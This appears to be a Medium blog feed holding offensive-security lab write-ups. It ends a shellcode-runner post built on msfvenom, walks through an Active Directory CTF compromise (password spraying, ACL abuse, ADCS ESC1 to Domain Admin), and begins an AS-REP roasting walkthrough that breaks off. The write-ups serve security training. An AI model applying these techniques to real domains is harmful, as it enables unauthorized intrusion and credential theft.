explorer).</p><p><strong>NOTE:</strong> Depending on your settings, the .exe will be in your project folder under x64\\Debug or x64\\Release.</p><h3>Popping Calc</h3><p>Choose one of the ways I mentioned above to build and execute your program. If you did everything correctly, this is what you should see (I used the “Start without debugging” option by pressing the hollow play button):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K9wTa_SDL2tygfaGLhQChw.png" /></figure><p>Boom! You just built a shellcode runner! The sky really is the limit at this point.</p><p>Before we wrap up though, I want to demo a couple things for those who may be curious…</p><p>First, I mentioned earlier that our shellcode would live in the .data section of our PE because we placed it in a global variable. To prove that, here’s a screenshot from <a href="https://github.com/zodiacon/TotalPE2">TotalPE</a> showing exactly that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tNePPPE4xwl77t9sZKUl6g.png" /></figure><p>I also mentioned that things wouldn’t work right if we didn’t add the EXITFUNC=thread argument when generating our shellcode with msfvenom.</p><p>To show you what would happen, I’ll generate our shellcode with this command:</p><pre>msfvenom -p windows/x64/exec CMD=calc.exe -f c</pre><p>I’ll copy the output into our code and build the project. This is the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jr6OZ20gdYE4np0Y-0ABfA.png" /></figure><p>Notice that we get a really bizarre exit code and our final print statement didn’t execute.</p><p>The reason is because the shellcode we just generated is now using ExitProcess() instead of ExitThread(). What this means is that as soon as our shellcode is finished executing, it calls ExitProcess() which terminates not only the thread our shellcode was running in but also our host process (our shellcode runner itself).</p><p>Because of this, our code essentially terminates after we call CreateThread(). Our final print statement comes after the call to CreateThread, so that’s why it wasn’t executed (along with some of our other cleanup routines like closing the handle, freeing memory and returning gracefully with an exit code of 0):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jgAjcPRoLkBFmcCbBJRwkg.png" /></figure><p>Well, that’s it! If you’ve hung in here for this whole post, I really appreciate it and hope that it provided some value to you. I’ll be writing a lot more in this MalDev 101 series so I hope you stick around.</p><p><strong>Resources:</strong></p><p>If you’re looking for a great way to learn Windows internals and get some practice with C, I can’t recommend TrainSec’s <a href="https://trainsec.net/courses/malware-analysis-and-development/">Malware Analysis and Development</a> course enough (just a note: I have no affiliation with TrainSec — I just benefitted tremendously from taking the course myself). Another great resource is the book <a href="https://www.amazon.com/Windows-Internals-Part-architecture-management/dp/0735684189">“Windows Internals: Part 1”</a>.</p><p>If you feel like you already have a solid foundation in Windows internals and C then I think <a href="https://maldevacademy.com/">MalDev Academy</a> is a great next step.</p><p>Take care!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3bc861169796" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Welcome Writeup (Hack Smarter Labs)]]></title>
            <link>https://medium.com/@boxalarm/welcome-writeup-hack-smarter-labs-87510216ad54?source=rss-4b69d3e7f10e------2</link>
            <guid isPermaLink="false">https://medium.com/p/87510216ad54</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Keith Monroe]]></dc:creator>
            <pubDate>Mon, 23 Feb 2026 15:06:03 GMT</pubDate>
            <atom:updated>2026-02-23T15:06:03.599Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qOvrwXsQAlyOh-cJ95J0hw.png" /></figure><p>It’s been too long since my last blog post and this time around I’m determined to be a bit more consistent. To kick things off, let’s start with a fun box from Hack Smarter Labs called “Welcome.”</p><p><a href="https://www.hacksmarter.org/courses/3d1021e5-39bf-41a6-8120-0d9b3e9c5431">https://www.hacksmarter.org/courses/3d1021e5-39bf-41a6-8120-0d9b3e9c5431</a></p><h3>Enumeration</h3><p>Here’s the scenario we’re facing:</p><blockquote><em>You are a member of the Hack Smarter Red Team. During a phishing engagement, you were able to retrieve credentials for the client’s Active Directory environment. Use these credentials to enumerate the environment, elevate your privileges, and demonstrate impact for the client.</em></blockquote><p>So we’ve got an assumed breach scenario here because we’ve already got a set of creds to the clients AD environment…</p><pre>e.hills:Il0vemyj0b2025!</pre><p>Before we start trying to poke around with our credentials, let’s start with a port scan:</p><pre>nmap -sV -sC 10.1.120.240 -Pn</pre><pre>Starting Nmap 7.94SVN ( &lt;https://nmap.org&gt; ) at 2026-01-18 16:46 EST<br>Nmap scan report for 10.1.120.240<br>Host is up (0.027s latency).<br>Not shown: 988 filtered tcp ports (no-response)<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-18 21:46:46Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: WELCOME.local0., Site: Default-First-Site-Name)<br>|_ssl-date: 2026-01-18T21:48:05+00:00; -1s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.WELCOME.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.WELCOME.local<br>| Not valid before: 2025-09-13T16:39:47<br>|_Not valid after:  2026-09-13T16:39:47<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: WELCOME.local0., Site: Default-First-Site-Name)<br>|_ssl-date: 2026-01-18T21:48:05+00:00; -1s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.WELCOME.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.WELCOME.local<br>| Not valid before: 2025-09-13T16:39:47<br>|_Not valid after:  2026-09-13T16:39:47<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: WELCOME.local0., Site: Default-First-Site-Name)<br>|_ssl-date: 2026-01-18T21:48:05+00:00; -1s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.WELCOME.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.WELCOME.local<br>| Not valid before: 2025-09-13T16:39:47<br>|_Not valid after:  2026-09-13T16:39:47<br>3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: WELCOME.local0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC01.WELCOME.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.WELCOME.local<br>| Not valid before: 2025-09-13T16:39:47<br>|_Not valid after:  2026-09-13T16:39:47<br>|_ssl-date: 2026-01-18T21:48:05+00:00; -1s from scanner time.<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=DC01.WELCOME.local<br>| Not valid before: 2025-10-27T15:46:43<br>|_Not valid after:  2026-04-28T15:46:43<br>| rdp-ntlm-info: <br>|   Target_Name: WELCOME<br>|   NetBIOS_Domain_Name: WELCOME<br>|   NetBIOS_Computer_Name: DC01<br>|   DNS_Domain_Name: WELCOME.local<br>|   DNS_Computer_Name: DC01.WELCOME.local<br>|   Product_Version: 10.0.20348<br>|_  System_Time: 2026-01-18T21:47:25+00:00<br>|_ssl-date: 2026-01-18T21:48:05+00:00; -1s from scanner time.<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2026-01-18T21:47:30<br>|_  start_date: N/A<br>|_clock-skew: mean: -1s, deviation: 0s, median: -1s</pre><pre>Service detection performed. Please report any incorrect results at &lt;https://nmap.org/submit/&gt; .<br>Nmap done: 1 IP address (1 host up) scanned in 90.48 seconds</pre><p>What we see is typical for a domain controller. We’ve got ports open for DNS (53), Kerberos (88), RPC (135), LDAP (389 &amp; 636), SMB (445), and RDP (3389) among other things. The domain is welcome.local and the machine name is DC01.</p><p>One thing we don’t see is WinRM (ports 5985/6). The reason is because nmap only scans the top 1000 ports by default and the ports associated with WinRM are not part of that list. We could run something like nmap -p5985 [ip] -Pn if we wanted to check if WinRM was in fact open (which it is).</p><p>With the port scan out of the way, let’s see what we can do with our phished credentials. In a CTF like this, I typically start with enumerating SMB to determine what shares my user has access to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-f3yli-4kak1s2wsEh1RA.png" /></figure><h3>What Have We Got Here?</h3><p>Given these results, it looks like the only non-standard share is Human Resources which we have read access to - so let’s start there to see what we can get into…</p><p>Using smbclient we’ll list the contents of the Human Resources share:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-BUi3b2UIX9svJI4yNLt-w.png" /></figure><p>We’ve got a bunch of PDFs that we’d like to explore as they may contain some sensitive info. We can download all of these files using mget:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCixr9zx45lRfQUuOR5Sbg.png" /></figure><p>Starting with Welcome Benefits.pdf we don’t see anything very interesting, outside of an email address for HR:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yN3NibZQ9Wv1Lbu6NbIKew.png" /></figure><p>Next, we try to open Welcome Start Guide.pdf but it’s password protected. Naturally, we need to find out what’s inside!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JmNFPkORW_trV47mw41JfQ.png" /></figure><h3>John, We Need You</h3><p>John the Ripper or just john (<a href="https://www.openwall.com/john/">https://www.openwall.com/john/</a>) is a password cracking tool that comes with a bunch of helpful utilities with names like zip2john, pdf2john, ssh2john, etc. As you may have guessed, the job of something like pdf2john is to extract a password hash from a password-protected PDF.</p><p><strong>NOTE:</strong> Make sure you download the “jumbo” version of JtR if you want all of the helper scripts like pdf2john.</p><p>Once we extract the hash, we can then crack it using john itself — we’ll use “rockyou.txt” for our wordlist:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EIxCMt5I4Pr9htJ7VduqPA.png" /></figure><p>Pretty straightforward — we open the file again, this time with our password of humanresources and we immediately see exactly what we were hoping for!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7mNOGSQ3t6uf9F0d_QGdrw.png" /></figure><p>This company assigns every new employee a temporary password of Welcome2025!@. The problem here is that while the PDF tells the employee to reset their password immediately after logging in for the first time, that rarely happens.</p><h3>It’s Password Spraying Time!</h3><p>So let’s cross our fingers and hope that someone was negligent with this. We’ll use nxc to perform a password spray attack - but first we need a list of valid users to test this password against.</p><p>We can use nxc for that too, all we need to do is supply the --users option:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yu_nOszNhW8rgw_5a78PWw.png" /></figure><p><strong>NOTE:</strong> If you have a valid set of credentials in AD, even if they’re just for a standard domain user, you can enumerate quite a bit of interesting info, including users, groups, computers, ACLs, trusts, password policies, etc.</p><p>We’ll grab every username from this list and put them into a file called users.txt.</p><p>There’s actually one more step we should complete before attempting a password spray attack… We should enumerate the domains password policy to ensure that we don’t lock any users out. In a CTF this really doesn’t matter but on a real engagement you should always be checking for this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u3hzf53sHFHQuehy5yc8fg.png" /></figure><p>What this shows us is that the domain <em>doesn’t</em> actually have an account lockout threshold, the account lockout counter is reset every 30 minutes, and an account remains locked out for 30 minutes.</p><p>Just as a thought experiment though, let’s pretend this is a real engagement and say that the account lockout threshold was actually set to 5. If that were the case, we would maybe try 3 different passwords and then wait 30 minutes until the lockout counter reset before trying another 3.</p><p>Okay, back to the action…</p><p>Let’s perform our password spray attack using the password we discovered in the Welcome PDF. Again, we’ll use nxc for this and supply our username list (users.txt) to -u :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MjJUrWWDbsKiR25NF881oA.png" /></figure><p><strong>NOTE:</strong> It’s important to add the --continue-on-success switch just in case there is more than one account using the same password. If we didn’t use this, nxc would stop iterating over our users list after the first successful result (meaning we could miss other accounts that are using that password).</p><p>The results from our password spray attack were exactly what we had hoped for! a.harris is either a very new employee who hasn’t had time to reset their password or they decided they’ll just get to it later…</p><h3>Bloodhound</h3><p>With this new account in hand, I think it’s probably time to take a step back and get a better understanding of our environment and how we can abuse it based on the current accounts we have access to. In order to do this, we’ll use Bloodhound.</p><p>I’m not going to run through how to setup Bloodhound, but it’s pretty straightforward — just visit <a href="https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart">https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart</a> to get started.</p><p>I’ll use bloodhound-python as our ingestor and because OPSEC really isn’t a concern right now, I’ll collect everything with -c all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HV9UX_X2roOH7_bdd-w2UA.png" /></figure><p><strong>NOTE:</strong> I’m using e.hills for this, but it doesn’t matter what account we use - we can use any valid domain account.</p><p>We’ll upload all the .json files created by bloodhound-python and start exploring:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jrK8n7Qf1dQPOtGO_szCJw.png" /></figure><p>The first thing I like to check is if any users I currently own have any Outbound Object Control - meaning what object (user, group, computer, etc.) this user may have rights over:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QRz6ncKSXH04zaQxUsUs0Q.png" /></figure><p>It looks like e.hills doesn’t have any.</p><p>But a.harris does:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epIOG5T6VdhdcC2Q-2-XYg.png" /></figure><p>So our user a.harris has GenericAll permissions over the user i.park. We’ll get back to this in a second, but that essentially means we now own i.park as well.</p><p>Before we look into taking over the i.park account, I want to quickly check what groups a.harris is a member of.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eV-Lo0lOUZWGsfl81g8OqA.png" /></figure><p>It just so happens that this user is part of the Remote Management Users group which means we should be able to get a shell on the DC via WinRM.</p><p><strong>NOTE:</strong> Even if a standard user is part of the Remote Management Users group, they can access that machine remotely using WinRM (as long as WinRM has been enabled, of course).</p><p>We’ll use evil-winrm to get a shell…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QkWBJ23b4ZrR1vlVCA89Dg.png" /></figure><p>Much success! We’ll grab the user flag, poke around a bit and be on our way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*WepdnnWAoL6QHVRptdsw6Q.png" /></figure><p>Normally I would spend more time enumerating a machine once I got access to it, but I know we have a path forward by taking over the i.park account so I want to get back to that.</p><h3>DACL Abuse</h3><p>Remember, Bloodhound output shows that a.harris is a member of the HR group and the HR group has GenericAllpermissions over i.park.</p><p>To understand what’s possible with GenericAll, we don’t need to go any further than Bloodhound itself. If we click on the edge (GenericAll) we can see some general info about it and how to abuse it via both Windows or Linux:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wt8mXo2CbR_WK0yvv1gQvw.png" /></figure><p>What we see is that with GenericAll permissions we can force change a users password (among other things) which will be the most straightforward for us in this scenario.</p><p>I like to use bloodyAD for this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CmNGNkwr61AvVYlKvXnLsw.png" /></figure><h3>Privilege Escalation</h3><p>Now that we own i.park we can go back to Bloodhound to see what outbound object control this user may have:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RGab1IT103VODl3Kbam7Og.png" /></figure><p><strong>NOTE:</strong> This is actually something that we should (or at least could) have done earlier. Once we realized that a.harris has a way to takeover i.park we should then immediately look at how we can abuse i.park (by checking that users outbound object control). Doing this helps us lay out a very clear attack path in our minds.</p><p>Well this is great! i.park is the IT intern and can force change the password of two different service accounts.</p><h3>AD CS Enters the Picture</h3><p>Now the only question is what account should we focus on first? Given the fact that one of the accounts is named svc_cawe can assume that a certificate authority exists in this domain. And because misconfigured certificate templates can often lead to privilege escalation, we’ll start here.</p><p>First, we’ll use certipy-ad to see what certificate templates exist:</p><pre>certipy-ad find -u i.park -p Password123 -dc-ip 10.1.120.240 -stdout</pre><p>There are a lot of results, but the last template is what catches our eye:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iXr0dscCVcL0eZh9ETZPnA.png" /></figure><p>What catches our eye is that svc_ca has enrollment rights to this certificate and we can easily take over that account by force changing it’s password.</p><p>The only question we have left to answer is whether or not this template is vulnerable…</p><h3>Exploiting ESC1</h3><p>Even without using the -vulnerable argument for certipy-ad we know that this template is in fact vulnerable to ESC1. A template vulnerable to ESC1 will have the following configuration:</p><ul><li>Client Authentication: True</li><li>Enabled: True</li><li>Enrollee Supplies Subject: True</li><li>Requires Management Approval: False</li><li>Authorized Signatures Required: 0</li></ul><p>And if we look closely at the previous output, we’ll see that everything matches up nicely:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MoEV3-XRmi1G9xs35Z2ytQ.png" /></figure><p><strong>References:</strong> <a href="https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/">https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/</a></p><p><a href="https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc1">https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc1</a></p><p>ESC1 is a privilege escalation vulnerability in Active Directory Certificate Services (AD CS) that allows any domain user who can enroll in a vulnerable certificate template (svc_ca in our case) to request a certificate as if they were someone else - even a Domain Admin. This certificate can then be used to authenticate to a resource using Kerberos (because Client Authentication is set to true).</p><p>This works because the template is misconfigured in a way that allows the requestor to supply their own identity via the Subject Alternative Name in the request (Enrollee Supplies Subject = True). It also doesn’t require manager approvals or any authorized signatures before issuing the certificate. It’s a win-win for us.</p><p>To exploit this, we’ll start by force changing the password on the svc_ca account because that account is the one that has enrollment rights on this vulnerable certificate template.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v6nfRFH7fM_hcBqQdO5uHw.png" /></figure><p><strong>NOTE:</strong> I mentioned earlier that we could use the -vulnerable switch with certipy-ad to discover vulnerable templates. In order for the tool to show that a template is vulnerable, we have to be running it from the context of a user that has enrollment rights to that vulnerable template:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EtcCnDfe8lSiYAQzhbAuCQ.png" /></figure><p>If we check the output (at the bottom), it will show that this template is vulnerable to ESC1 :</p><pre>[+] User Enrollable Principals      : WELCOME.LOCAL\\svc ca<br>    [!] Vulnerabilities<br>      ESC1                              : Enrollee supplies subject and template allows client authentication.</pre><p>But if we were running this tool with the credentials for a.harris or i.park this template would not be marked as vulnerable (because they don’t have enrollment rights to it). This is one of those areas where it’s helpful to understand both the vulnerability itself and how a tool works so you can properly interpret it’s output. If we were running certipy-ad with the -vulnerable switch as the user i.park we may end up thinking that no templates are vulnerable, when that is not the case.</p><p>Just to prove that, here’s the output from certipy-ad as the user i.park:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d_vA8RPATd2-D3V5KpcOhA.png" /></figure><p>Getting back to it — the next step is to use the svc_ca account to request a certificate for a privileged user. In this case, we’ll ask for a cert for the Domain Admin (Administrator) — this is supplied via the -upn option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5nl5pf8smrFsfujjtvbtVw.png" /></figure><p>The output of this command gives us a .pfx file.</p><p>This file bundles our issued certificate (with the impersonated identity) and its matching private key. We can use it to perform PKINIT (Public Key Cryptography for Initial Authentication in Kerberos) against the DC. Basically, PKINIT lets us authenticate to Kerberos using the certificate and private key instead of a password.</p><p>We use this .pfx file to request a TGT for the Administrator account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kP9t-n9bCbpzKFUXLnE8Ag.png" /></figure><p>You’ll notice that we also get back the administrators NTLM hash. This is because a technique called unPAC the hash is utilized by certipy-ad. You can read more about that here: <a href="https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash">https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash</a></p><p>We don’t need to bother with the TGT because the NTLM hash will work for what we need.</p><p>Using this hash we can get a shell as the Domain Admin on DC01 using evil-winrm:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QSQdcuzpnGsbff23-Jlo8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jkQFA5bp5_XoCSUUBr3sTQ.png" /></figure><p>Grab the root flag and that’s a wrap!</p><p>I hope you found this helpful! Stay tuned for more writeups for Hack Smarter Labs boxes because I’ve really been enjoying them.</p><p>Hit the “Follow” button if you want to see more writeups like this and if you’d like to reach out, you can always message me on <a href="https://linkedin.com/in/keith-monroe">LinkedIn</a>.</p><p>Take care!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87510216ad54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Services Writeup (TryHackMe)]]></title>
            <link>https://medium.com/@boxalarm/services-writeup-tryhackme-109745591e80?source=rss-4b69d3e7f10e------2</link>
            <guid isPermaLink="false">https://medium.com/p/109745591e80</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Keith Monroe]]></dc:creator>
            <pubDate>Tue, 25 Apr 2023 15:32:36 GMT</pubDate>
            <atom:updated>2023-04-25T15:32:36.538Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*6F2VkGpRMlqCYLJnJAsD2Q.png" /></figure><p>Services is a “Medium” room on THM that covers a pretty common Active Directory attack path to get initial access on the system. From there, as you may have guessed, insecure service permissions are exploited in order to escalate our privileges to Administrator. My goal for this post is to not only list the steps I took to eventually root this system, but also to explain my reasoning behind what I did. Let’s get started!</p><h3>Enumeration</h3><p>We’ll start with a port scan of the box to see what services are running and try to determine what environment we may be dealing with. I always start by scanning the top 1000 ports (this is the default if you don’t use the “-p” switch to specify a port range) and add the switches -sV (to enumerate service versions) and -sC (to run the <a href="https://nmap.org/book/nse-usage.html">default scripts</a> against certain services). Here’s what we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KLjqd2v19a954cMrYYgVWg.png" /><figcaption>Scanning the top 1000 ports</figcaption></figure><p>Right away, we can tell this is a Windows box because of the ports that are open (135, 139, 445 — common trio on Windows machines). We can also determine right away that this is a Domain Controller (DC), which means we’re dealing with an Active Directory environment. This is an important distinction to make when we’re trying to figure out what attack paths we should pursue.</p><p><strong>NOTE:</strong> Domain Controller’s will be running services that standard servers or desktops won’t be, like DNS (53), Kerberos (88), and LDAP (389). If you see those ports, it’s a big giveaway that the machine is likely a DC.</p><p>Before we dive into enumerating some of these services, I want to mention that I always run a full port scan (with the “-p-” switch) after my initial scan to make sure we’re not missing any ports (I just don’t do this first because it takes much longer to run). Here’s what that revealed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RZ-f-H_oQ5pMnEBIbqdtBA.png" /><figcaption>Full port scan without version or script info (note the “-p-” switch)</figcaption></figure><p>The only additional port I want to highlight is 5985. This shows that Windows Remote Management (WinRM) is enabled. We’ll come back to this later once we get a set of valid credentials.</p><p><strong>NOTE:</strong> It’s important to understand that this port (5985) will not show up in a scan of only the top 1000 ports (nmap’s default scan). This service is very common in Windows environments and very valuable to attackers, so it should not be overlooked!</p><p>Okay, so here’s what I want to start enumerating based on our scan results:</p><ul><li>HTTP — web servers can always be a viable path into a network and may also expose sensitive information (as we’ll soon find out!).</li><li>Server Message Block (SMB) — The SYSVOL and NETLOGON shares on a Domain Controller may expose sensitive information (if you haven’t already, <a href="https://www.hackingarticles.in/credential-dumping-group-policy-preferences-gpp/">read up on Group Policy Preferences</a> — this can be an easy win!). We’ll also want to check to see if any custom shares are enabled that we may have access to.</li></ul><h3>Server Message Block (SMB)</h3><p>Because we don’t have a valid set of credentials yet, we’ll have to see if SMB is allowing anonymous connections. To do this, we can use a tool like smbclient:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bB1C1zjircfJQsXpgMtBoQ.png" /></figure><p>The -N switch tells smbclient to not ask for a password (in our case, this allows us to login as an anonymous user) and -L tells it to list any shares that are available.</p><p>What’s interesting here is that we were able to anonymously login, but there were no available shares on the DC. That’s odd. Just to double check, we’ll try to enumerate shares using CrackMapExec:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L095jHV3uNlMFJfI-1YURg.png" /><figcaption>We provide CME with a blank username and password to login anonymously</figcaption></figure><p>Well, I guess this Domain Controller isn’t making any shares available. Let’s see if we have better luck enumerating the web server!</p><h3>Web Server</h3><p>Before we get too crazy with our enumeration, I always like to browse the site to get an overall feel for the purpose of the web app, where potential vulnerabilities may exist, and if any sensitive information may be exposed. Here’s what sticks out to me:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*Ke4IbqYhR3oys40XnvDBMw.png" /><figcaption>Username / email format — very valuable!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWjfUFOfHjseasDsBTn2sg.png" /><figcaption>Employee names</figcaption></figure><p>This website not only reveals the format for their emails (first_initial.last_name), but it also gives us a list of employee names that allows us to create a list of possible usernames! The value of this can’t be overstated. With a list of valid usernames, we can attempt password spraying attacks AND most importantly we can attempt an AS-REP roasting attack (more on this in a second).</p><p>Based off of this information, I don’t feel the need to enumerate the web server anymore because I want to try to go down a typical AD attack path first (if this doesn’t work, we can always come back to the web server). So I add the following usernames to a file called users.txt to prepare for this attack:</p><pre>j.doe<br>j.rock<br>w.masters<br>j.larusso<br>Administrator # I added this because it&#39;s a default account name</pre><h3>Gaining a Foothold — Someone’s Gonna Get Roasted!</h3><p>Without a valid set of credentials, we’re kind of limited as to what we’re able to do. Kerberoasting, querying LDAP, accessing RDP, etc. are all out of the picture for now.</p><p>But because Kerberos is the default authentication mechanism in Active Directory, we have one viable option to gain access to this box: AS-REP Roasting! Let me briefly explain what this is…</p><p>To access a resource in AD, a user must first request a Ticket Granting Ticket (TGT) from the Key Distribution Center (KDC) which resides on the DC. Normally, this request (called an Authentication Service Request or AS-REQ) will contain a timestamp that the user encrypted with their NT hash. Once the KDC receives this encrypted timestamp, it attempts to decrypt the timestamp with that users NT hash (which it also has access to — the DC keeps a copy of every users hashed password). If the KDC was able to successfully decrypt the hash, it will issue a TGT to the user (this step is called the Authentication Service Response or AS-REP).</p><p>All of that sounds relatively secure, but here’s where things can get crazy. It’s possible to disable this “preauthentication” (the step where the user has to encrypt a timestamp to prove their identity). If this is done, then the user is able to request a TGT without having to provide an encrypted timestamp to verify that they are who they are.</p><p><strong>Here’s what this means:</strong> if a users account doesn’t require preauthentication, we can request a TGT on their behalf even without knowing their password, and once we receive that TGT we can crack it offline to reveal their password! Let’s give it a shot!</p><p><strong>NOTE:</strong> If you want to learn more about this attack, check out the <a href="https://tryhackme.com/room/attackingkerberos">Attacking Kerberos room on THM</a>.</p><p>My favorite tool for this is <a href="https://github.com/fortra/impacket">impacket-GetNPUsers</a>. There are just two prerequisites to use this tool:</p><ul><li>Step 1: We need a list of valid usernames (which we already created — users.txt).</li></ul><p><strong>NOTE:</strong> In an attempt to not make this post too long, I skipped using a tool called <a href="https://github.com/ropnop/kerbrute">Kerbrute</a> to validate the usernames we found, but here’s the syntax you would use (you could also skip this step and just assume the usernames were valid):</p><pre>./kerbrute userenum --dc 10.10.110.107 -d services.local users.txt</pre><ul><li>Step 2: We need to add the domain name (services.local) to our /etc/hosts file and have it point to the DC:</li></ul><pre>10.10.110.107 services.local</pre><p>With those two steps complete, let’s attempt some AS-REP roasting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gcEy5_UgDY-ZPeAvREel1Q.png" /><figcaption>Captured a hash for user j.rock</figcaption></figure><p>Boom! User j.rock has preauth disabled, which means we were able to grab his account hash that we can crack using hashcat:</p><pre>hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*94gtm_pG6yRoqyHSPt3q8Q.png" /><figcaption>To crack AS-REP hashes, use mode 18200 in hashcat</figcaption></figure><p>Now we have a set of valid credentials, but where can we use them? Based off our port scan we have three main options for remote access:</p><ul><li>Connect via psexec over SMB (can’t do this because j.rock isn’t an admin)</li><li>RDP (must be part of the Remote Desktop Users group, which we aren’t)</li><li>WinRM (must be part of the Remote Management Users group, which we are!)</li></ul><p>I tried the first two options and was unsuccessful (for the reasons listed above), but was able to connect using WinRM (remember port 5985?) with a tool called evil-winrm:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*004_ft6YFPvpgnt_zgsBxQ.png" /><figcaption>Remote access via evil-winrm</figcaption></figure><p>What this gives us is a remote PowerShell session on the Domain Controller. Now we’ll just grab the user flag and move onto some privilege escalation!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W4LN-L8pI54Rw3vgbf9xAQ.png" /><figcaption>User.txt flag captured!</figcaption></figure><h3>Escalating Privileges</h3><p>One of the first steps I take when I get a shell on a system is to look at what groups the user belongs to and what privileges they already have:</p><figure><img alt="" 